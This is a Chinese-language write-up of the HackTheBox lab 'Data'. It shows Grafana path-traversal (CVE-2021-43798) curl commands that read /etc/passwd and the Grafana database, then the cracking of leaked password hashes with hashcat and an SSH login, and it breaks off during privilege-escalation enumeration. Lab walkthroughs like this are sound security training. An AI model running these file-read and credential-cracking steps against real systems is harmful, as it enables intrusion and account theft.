HTB: Data
Data是一个相对简单的靶机,起始于一个Grafana实例。我将利用未授权目录遍历/文件读取漏洞泄露Grafana使用的SQLite文件。破解用户哈希后,发现这是系统上某个账户的共享密码。对于root权限,我将滥用允许运行docker exec的sudo规则。在容器内部,挂载主机文件系统并利用它获取shell。
盒子信息
| 名称 |
Data |
在HackTheBox上玩耍 |
| 发布日期 |
2025年7月1日 |
|
| 退役日期 |
2025年7月1日 |
|
| 操作系统 |
Linux |
|
| 基础分数 |
简单 [20] |
|
| 竞争性 |
无 |
|
| 创建者 |
xct |
|
侦察
初始扫描
nmap发现两个开放的TCP端口:SSH(22)和HTTP(3000):
1
2
3
4
5
6
7
8
9
|
oxdf@hacky$ nmap -p- -vvv -min-rate 10000 10.129.234.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-16 01:04 UTC
...[snip]...
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 62
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
|
基于OpenSSH版本,主机可能运行Ubuntu 18.04 bionic。
nmap显示需要额外一跳才能到达Web服务器。lft确认了这一点:
1
2
3
4
5
6
7
8
9
10
11
|
oxdf@hacky$ sudo lft 10.129.234.47:22
Tracing ......T
TTL LFT trace to 10.129.234.47:22/tcp
1 10.10.14.1 89.6ms
2 [target open] 10.129.234.47:22 89.6ms
oxdf@hacky$ sudo lft 10.129.234.47:3000
Tracing ......T
TTL LFT trace to 10.129.234.47:3000/tcp
1 10.10.14.1 89.6ms
2 10.129.234.47 89.8ms
3 [target open] 10.129.234.47:3000 89.3ms
|
这意味着Web服务器运行在容器中。
网站 - TCP 3000
站点
该网站是一个Grafana实例:
技术栈
登录页脚显示版本为v8.0.0。HTTP响应头没有透露太多其他信息。
Grafana是一个TypeScript前端和Go后端,如其GitHub页面所示。
没有404页面,它只是重定向到/login。我将跳过目录暴力破解,因为Grafana中的路由有文档记录。
获取boris的shell
泄露Grafana数据库
CVE-2021-43798背景
搜索"grafana v8.0.0 cve"返回了几个CVE的引用,包括CVE-2021-43798:
CVE-2021-43798被Nist描述为:
Grafana是一个用于监控和可观察性的开源平台。Grafana版本8.0.0-beta1到8.3.0(除了修补版本)容易受到目录遍历攻击,允许访问本地文件。易受攻击的URL路径是:<grafana_host_url>/public/plugins/<plugin ID>/,其中是任何已安装插件的插件ID。Grafana Cloud从未易受攻击。建议用户升级到修补版本8.0.7、8.1.8、8.2.7或8.3.1。GitHub安全公告包含有关易受攻击的URL路径、缓解措施和披露时间表的更多信息。
我之前在Ambassador上利用过这个漏洞,在那篇文章中我详细介绍了POC利用。插件路径容易受到目录遍历攻击,导致文件读取在路径/public/plugins/<plugin name>/中。
CVE-2021-43798 POC
为了测试这一点,我尝试读取/etc/passwd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
|
它起作用了。
枚举Grafana
就像在Ambassador中一样,我将读取grafana.ini文件:
1
|
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
|
这是一个非常长的文件。我将使用grep删除注释行和空行:
1
|
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini | grep -v "^[#;\[]" | grep .
|
没有任何内容。这是一个完全默认的配置。
默认数据库是SQLite:
1
2
3
4
5
6
7
8
9
10
|
#################################### Database ####################################
[database]
# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
...[snip]...
# For "sqlite3" only, path relative to data_path setting
;path = grafana.db
|
文件名为grafana.db。Paths部分说明了位置:
1
2
3
4
|
#################################### Paths ####################################
[paths]
# Path to where grafana can store temp files, sessions, and the sqlite3 db (if that is used)
;data = /var/lib/grafana
|
我将下载DB文件:
1
2
3
|
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
oxdf@hacky$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 424, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 424
|
恢复密码
数据库枚举
数据库中有相当多的表:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
oxdf@hacky$ sqlite3 grafana.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance org
alert_notification org_user
alert_notification_state playlist
alert_rule playlist_item
alert_rule_tag plugin_setting
alert_rule_version preferences
annotation quota
annotation_tag server_lock
api_key session
cache_data short_url
dashboard star
dashboard_acl tag
dashboard_provisioning team
dashboard_snapshot team_member
dashboard_tag temp_user
dashboard_version test_data
data_source user
library_element user_auth
library_element_connection user_auth_token
|
user表中有两个用户:
1
2
3
4
5
|
sqlite> .headers on
sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0
|
格式化哈希
Grafana以非标准格式存储哈希。我将获取用户名、密码哈希和盐:
1
2
3
4
|
sqlite> select login,password,salt from user;
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
|
我将其格式化为hash,salt的输入格式:
1
2
|
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
|
现在脚本生成一个哈希:
1
2
3
4
5
6
7
8
9
10
11
|
oxdf@hacky$ uv run grafana2hashcat.py grafana.hash_salt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: grafana.hash_salt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
|
破解密码
hashcat检测哈希格式并很快破解boris的哈希:
1
2
3
4
5
6
7
8
9
10
|
$ hashcat grafana.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
...[snip]...
|
admin没有破解。
SSH
我可以登录网站,但值得检查这些凭据是否在系统上有效。boris不是我之前读取的passwd文件中的用户,但那是在容器系统中,SSH似乎连接到主主机(基于TTL分析)。
值得检查,它们有效:
1
2
3
|
oxdf@hacky$ netexec ssh 10.129.234.47 -u boris -p beautiful1
SSH 10.129.234.47 22 10.129.234.47 [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
SSH 10.129.234.47 22 10.129.234.47 [+] boris:beautiful1 (Pwn3d!) Linux - Shell access!
|
我连接到SSH作为boris:
1
2
3
4
|
oxdf@hacky$ sshpass -p beautiful1 ssh boris@10.129.234.47
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
...[snip]...
boris@data:~$
|
我可以获取user.txt:
1
2
|
boris@data:~$ cat user.txt
87629c0b************************
|
获取root shell
枚举
sudo
boris可以在没有密码的情况下以root身份运行docker exec:
1
2
3
4
5
6
|
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
|
运行容器
通常我会用docker ps查看运行中的容器。不幸的是,这需要访问Docker socket,这意味着需要root权限(而sudo配置不允许这样做):
1
2
3
4
|
boris@data:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
boris@data:~$ ls -l /var/run/docker.sock
srw-rw---- 1 root root 0 Jun 16 01:16 /var/run/docker.sock
|
我可以查看运行中的进程: